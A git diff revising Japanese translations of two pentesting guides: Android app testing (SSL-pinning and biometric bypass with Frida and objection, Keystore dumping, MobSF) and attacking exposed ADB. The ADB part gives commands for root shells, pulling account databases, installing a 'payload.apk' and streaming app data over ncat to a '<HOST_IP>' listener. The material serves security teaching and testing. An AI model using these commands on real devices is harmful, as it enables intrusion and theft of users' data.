- **apkを自動的に修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます(以下で説明):`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **objection**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(以下で説明)。
|
||||
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
@ -446,7 +446,7 @@ Androidアプリケーションをペンテストするには、Fridaの使い
|
||||
- Fridaでのアクション用の「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- ここでいくつかの素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスすることを試みてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
|
||||
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
|
||||
|
||||
### **メモリダンプ - Fridump**
|
||||
|
||||
@ -467,9 +467,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore内の機密データ**
|
||||
|
||||
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはルートユーザーとしてこれを確認する必要があります。さもなければ、物理的にデバイスにアクセスできる誰かがこのデータを盗むことができるかもしれません。
|
||||
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはルートユーザーとしてこれを確認する必要があります。物理的にデバイスにアクセスできる誰かがこのデータを盗む可能性があります。
|
||||
|
||||
アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。
|
||||
アプリがKeystoreにデータを保存していても、データは暗号化されているべきです。
|
||||
|
||||
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
@ -477,19 +477,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **指紋/生体認証バイパス**
|
||||
|
||||
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパス**することが可能になるかもしれません:
|
||||
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **バックグラウンド画像**
|
||||
|
||||
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
|
||||
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときに、アプリが読み込まれる前に画像が読み込まれるため、アプリがより早く読み込まれたように見えます。
|
||||
|
||||
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
|
||||
|
||||
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
|
||||
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするのを防ぎます。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -535,40 +535,40 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます(_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_)。\
|
||||
また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成すると(アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成)、それも分析できます。
|
||||
MobSFは**Android**(apk)**、IOS**(ipa)**、およびWindows**(apx)アプリケーションを分析できます(_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_)。\
|
||||
また、**Android**または**IOS**アプリのソースコードで**ZIP**ファイルを作成すると(アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成)、それも分析できます。
|
||||
|
||||
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です(_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
|
||||
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することもできます(_MobSF/settings.py_にAPIキーを設定し、`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`を有効にする必要があります)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
|
||||
|
||||
### MobSFによる支援された動的分析
|
||||
|
||||
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注: **まずgenymotionでVMを起動し**、**その後MobSFを起動する必要があります。**_\
|
||||
**MobSF動的アナライザー**は以下のことができます:
|
||||
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\
|
||||
**MobSF動的アナライザー**は以下を行うことができます:
|
||||
|
||||
- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
|
||||
- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは自分で撮る必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。
|
||||
- **HTTPSトラフィックをキャプチャ**
|
||||
- **Frida**を使用して**ランタイム**の**情報**を取得
|
||||
|
||||
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
||||
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
||||
|
||||
**Frida**
|
||||
|
||||
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\
|
||||
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
|
||||
|
||||
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
|
||||
MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログを"**Frida Live Logs**"内で見ることができます。
|
||||
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\
|
||||
MobSFは自分の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただ**選択**し、"**Load**"を押して、"**Start Instrumentation**"を押すと、そのスクリプトのログを"**Frida Live Logs**"内で見ることができます。
|
||||
|
||||
.png>)
|
||||
|
||||
さらに、いくつかの補助的なFrida機能があります:
|
||||
|
||||
- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを表示します
|
||||
- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
|
||||
- **文字列比較をキャプチャ**: 非常に役立つ可能性があります。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
|
||||
- **クラスメソッドを列挙**: クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
|
||||
- **クラスパターンを検索**: パターンでクラスを検索
|
||||
- **クラスメソッドをトレース**: **クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
|
||||
- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します
|
||||
- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい)
|
||||
- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
|
||||
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。
|
||||
- **クラスパターンを検索**:パターンでクラスを検索
|
||||
- **クラスメソッドをトレース**:**全体のクラスをトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
|
||||
|
||||
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
|
||||
|
||||
@ -619,7 +619,7 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- 参照用にすべての抽出ファイルを表示
|
||||
- すべての抽出されたファイルを簡単に参照できるように表示
|
||||
- APKファイルを自動的にJavaおよびSmali形式にデコンパイル
|
||||
- 一般的な脆弱性と動作のためにAndroidManifest.xmlを分析
|
||||
- 一般的な脆弱性と動作のための静的ソースコード分析
|
||||
@ -632,7 +632,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、脆弱性を検出するための一連のルールを適用することによって行われます。
|
||||
|
||||
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のための独自のルールを作成できます。
|
||||
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。
|
||||
|
||||
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
|
||||
```
|
||||
@ -646,13 +646,13 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
|
||||
|
||||
このコンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイル)をStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されるというものです。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
|
||||
|
||||
[最新リリース](https://github.com/vincentcox/StaCoAn/releases)をダウンロード:
|
||||
ダウンロード[最新リリース](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
|
||||
AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\
|
||||
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -662,9 +662,9 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。
|
||||
|
||||
検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
|
||||
検出は、アプリケーションのDalvikバイトコードの**静的解析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
|
||||
|
||||
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコードの実行...
|
||||
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -672,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
|
||||
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
|
||||
|
||||
以下のことが可能です:
|
||||
|
||||
@ -685,15 +685,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### Koodous
|
||||
|
||||
マルウェアを検出するのに役立ちます: [https://koodous.com/](https://koodous.com)
|
||||
マルウェアを検出するのに役立ちます:[https://koodous.com/](https://koodous.com)
|
||||
|
||||
## コードのオブフスケーション/デオブフスケーション
|
||||
## コードのオブフスケート/デオブフスケート
|
||||
|
||||
使用するサービスと構成によって、コードをオブフスケートする際に秘密がオブフスケートされる場合とされない場合があります。
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、オブフスケートするオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
|
||||
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より):**ProGuard**は、Javaコードを縮小、最適化、オブフスケートするオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
|
||||
|
||||
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
|
||||
|
||||
@ -703,15 +703,15 @@ APKをデオブフスケートするためのステップバイステップガ
|
||||
|
||||
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした:
|
||||
|
||||
- リソースをInputStreamとして読み込む;
|
||||
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
|
||||
- リバースエンジニアに数分の時間を無駄にさせるために無駄なオブフスケーションを行う;
|
||||
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
|
||||
- リソースをInputStreamとして読み込む;
|
||||
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
|
||||
- リバースエンジニアに数分の時間を無駄にするために無駄なオブフスケーションを行う;
|
||||
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
|
||||
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuardは、Androidオブフスケーションツールによって実行されるオブフスケーションのプロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。**
|
||||
**DeGuardは、Androidのオブフスケーションツールによって行われたオブフスケーションのプロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。**
|
||||
|
||||
オブフスケートされたAPKを彼らのプラットフォームにアップロードできます。
|
||||
|
||||
@ -721,23 +721,23 @@ APKをデオブフスケートするためのステップバイステップガ
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化されたコードは同じ動作をしますが、人間にとって理解しやすくなります。各最適化タイプはシンプルで一般的であるため、使用されるオブフスケーションの具体的なタイプは関係ありません。
|
||||
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化の各タイプはシンプルで一般的であるため、使用されるオブフスケーションの具体的なタイプは関係ありません。
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiDは**APKがどのように作成されたか**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**オブフスケーター**、およびその他の奇妙なものを特定します。これはAndroid用の[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。
|
||||
|
||||
### マニュアル
|
||||
### Manual
|
||||
|
||||
[カスタムオブフスケーションを逆アセンブルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
|
||||
[カスタムオブフスケーションを逆コンパイルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
|
||||
|
||||
## ラボ
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
|
||||
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、およびラボのコレクションを含んでいます。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) これは素晴らしいリソースのリストです
|
||||
@ -746,7 +746,7 @@ AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシン
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
|
||||
## まだ試していない
|
||||
## Yet to try
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
@ -9,7 +9,7 @@ From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||
Android Debug Bridge (adb) は、Androidベースのデバイスやエミュレーターと通信するためのコマンドラインツールです。典型的なアクションには、パッケージのインストール、デバッグ、およびデバイス上でのインタラクティブなUnixシェルの取得が含まれます。
|
||||
|
||||
- 歴史的なデフォルトTCPポート: 5555 (クラシックな "adb tcpip" モード)。
|
||||
- 現代のワイヤレスデバッグ (Android 11+) は、TLSペアリングとmDNSサービス発見を使用します。接続ポートは動的で、mDNSを介して発見されます; 5555でない場合もあります。ペアリングはadb pair host:portの後にadb connectを使用して行います。攻撃的な影響については、以下のノートを参照してください。
|
||||
- 現代のワイヤレスデバッグ (Android 11+) は、TLSペアリングとmDNSサービス発見を使用します。接続ポートは動的で、mDNSを介して発見されます; 5555でない場合もあります。ペアリングは、adb pair host:port の後に adb connect を使用して行います。攻撃的な影響については、以下のノートを参照してください。
|
||||
|
||||
Example nmap fingerprint:
|
||||
```
|
||||
@ -27,7 +27,7 @@ whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
- デバイスがADB認証を強制する場合 (ro.adb.secure=1)、事前に認証されている必要があります (USB RSA認証) またはAndroid 11以上のワイヤレスデバッグペアリングを使用する必要があります (これはデバイスに表示される一時コードが必要です)。
|
||||
- 一部のベンダーイメージ、エンジニアリング/ユーザーデバッグビルド、エミュレーター、テレビ、STB、および開発キットは、認証なしでadbdを公開するか、rootとしてadbdを実行します。その場合、通常はシェルまたはルートシェルに直接入ります。
|
||||
- 一部のベンダーイメージ、エンジニアリング/ユーザーデバッグビルド、エミュレーター、テレビ、STB、および開発キットは、認証なしでadbdを公開するか、adbdがルートとして実行されます。その場合、通常はシェルまたはルートシェルに直接入ります。
|
||||
|
||||
一般的なADBコマンドのリファレンスについては、次を参照してください:
|
||||
|
||||
@ -48,7 +48,7 @@ id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||||
pm list packages -3
|
||||
pm path <pkg>
|
||||
```
|
||||
- ルート権限がある場合(adb rootまたはsuが機能します)、/dataに直接アクセスできます。そうでない場合は、デバッグ可能なアプリにはrun-asを使用してください:
|
||||
- ルート権限がある場合(adb root または su が機能します)、/data に直接アクセスできます。そうでない場合は、デバッグ可能なアプリには run-as を使用してください:
|
||||
```bash
|
||||
# ルートなしで、デバッグ可能なアプリの場合
|
||||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||||
@ -59,17 +59,17 @@ exit
|
||||
adb pull "/sdcard/<pkg>"
|
||||
```
|
||||
- 有用なシステムアーティファクト(ルートが必要):
|
||||
- /data/system/users/0/accounts.dbおよび関連するAccountManagerデータ
|
||||
- /data/misc/wifi/(古いバージョンのネットワーク設定/キー)
|
||||
- /data/data/<pkg>のアプリ固有のSQLite DBおよびshared_prefs
|
||||
- /data/system/users/0/accounts.db および関連する AccountManager データ
|
||||
- /data/misc/wifi/ (古いバージョンのネットワーク設定/キー)
|
||||
- /data/data/<pkg> のアプリ固有の SQLite DB と shared_prefs
|
||||
|
||||
これを使用して機密情報(例:アプリの秘密)を取得できます。Chromeデータに関する考慮事項についてのメモは、[こちら](https://github.com/carlospolop/hacktricks/issues/274)で参照してください。
|
||||
これを使用して、機密情報(例: アプリの秘密)を取得できます。Chrome データに関する考慮事項についてのメモは、[こちら](https://github.com/carlospolop/hacktricks/issues/274)で参照してください。
|
||||
|
||||
### コード実行とペイロード配信
|
||||
|
||||
- ランタイム権限をインストールして自動付与:
|
||||
```bash
|
||||
adb install -r -g payload.apk # -gはマニフェストで宣言されたすべてのランタイム権限を付与します
|
||||
adb install -r -g payload.apk # -g はマニフェストで宣言されたすべてのランタイム権限を付与します
|
||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||
```
|
||||
- アクティビティ/サービス/ブロードキャストを直接開始:
|
||||
@ -79,30 +79,30 @@ adb shell am startservice -n <pkg>/<service>
|
||||
adb shell am broadcast -a <action>
|
||||
```
|
||||
|
||||
### ポートフォワーディングとピボティング
|
||||
### ポートフォワーディングとピボッティング
|
||||
|
||||
ルートなしでも、adbはローカルポートをデバイスポートに転送できますし、その逆も可能です。これは、デバイス上でローカルにバインドされたサービスにアクセスしたり、攻撃者のサービスをデバイスに公開したりするのに便利です。
|
||||
ルートなしでも、adb はローカルポートをデバイスポートに、またその逆にフォワードできます。これは、デバイス上でローカルにバインドされたサービスにアクセスしたり、攻撃者のサービスをデバイスに公開したりするのに便利です。
|
||||
|
||||
- ホスト->デバイスを転送(ホストからデバイスのローカルサービスにアクセス):
|
||||
- ホスト->デバイスをフォワード(ホストからデバイスのローカルサービスにアクセス):
|
||||
```bash
|
||||
adb forward tcp:2222 tcp:22 # デバイスがSSHを実行している場合(例:Termux/Dropbear)
|
||||
adb forward tcp:2222 tcp:22 # デバイスが SSH を実行している場合(例: Termux/Dropbear)
|
||||
adb forward tcp:8081 tcp:8080 # アプリのローカルデバッグサーバーを公開
|
||||
```
|
||||
- デバイス->ホストを逆転送(デバイスがホスト上のサービスにアクセスできるようにする):
|
||||
- デバイス->ホストをリバース(デバイスがホスト上のサービスにアクセスできるようにする):
|
||||
```bash
|
||||
adb reverse tcp:1080 tcp:1080 # デバイスアプリは今、ホスト:1080に127.0.0.1:1080としてアクセスできます
|
||||
adb reverse tcp:1080 tcp:1080 # デバイスアプリは now host:1080 に 127.0.0.1:1080 としてアクセスできます
|
||||
```
|
||||
- ソケットを介したファイルの抽出(sdcardへの書き込みなし):
|
||||
- ソケット経由でのファイル抽出(sdcard 書き込みなし):
|
||||
```bash
|
||||
# ホストで: リッスン
|
||||
# ホスト上: リッスン
|
||||
ncat -lvp 9000 > dump.tar
|
||||
# デバイスで: ディレクトリをtarとして送信(ルートまたはrun-asが適用される)
|
||||
# デバイス上: ディレクトリを tar として送信(ルートまたは run-as が適用される)
|
||||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||||
```
|
||||
|
||||
## ワイヤレスデバッグ(Android 11+)
|
||||
## ワイヤレスデバッグ (Android 11+)
|
||||
|
||||
最新のAndroidは、デバイス側のペアリングとmDNS発見を伴うTLS保護されたワイヤレスデバッグを実装しています:
|
||||
最新の Android は、デバイス側のペアリングと mDNS 発見を伴う TLS 保護されたワイヤレスデバッグを実装しています:
|
||||
```bash
|
||||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||||
# On attacker host (same L2 network, mDNS allowed):
|
||||
@ -115,7 +115,7 @@ adb connect <device_ip>:<conn_port>
|
||||
- _adb-tls-pairing._tcp (ペアリング)
|
||||
- _adb-tls-connect._tcp (ペア接続)
|
||||
- _adb._tcp (レガシー/プレーン)
|
||||
- mDNSがフィルタリングされている場合、古典的なUSB支援による有効化は一部のビルドでまだ機能する可能性があります:`adb tcpip 5555` その後 `adb connect <ip>:5555`(再起動まで)。
|
||||
- mDNSがフィルタリングされている場合、古典的なUSB支援による有効化が一部のビルドでまだ機能する可能性があります: `adb tcpip 5555` その後 `adb connect <ip>:5555` (再起動まで)。
|
||||
|
||||
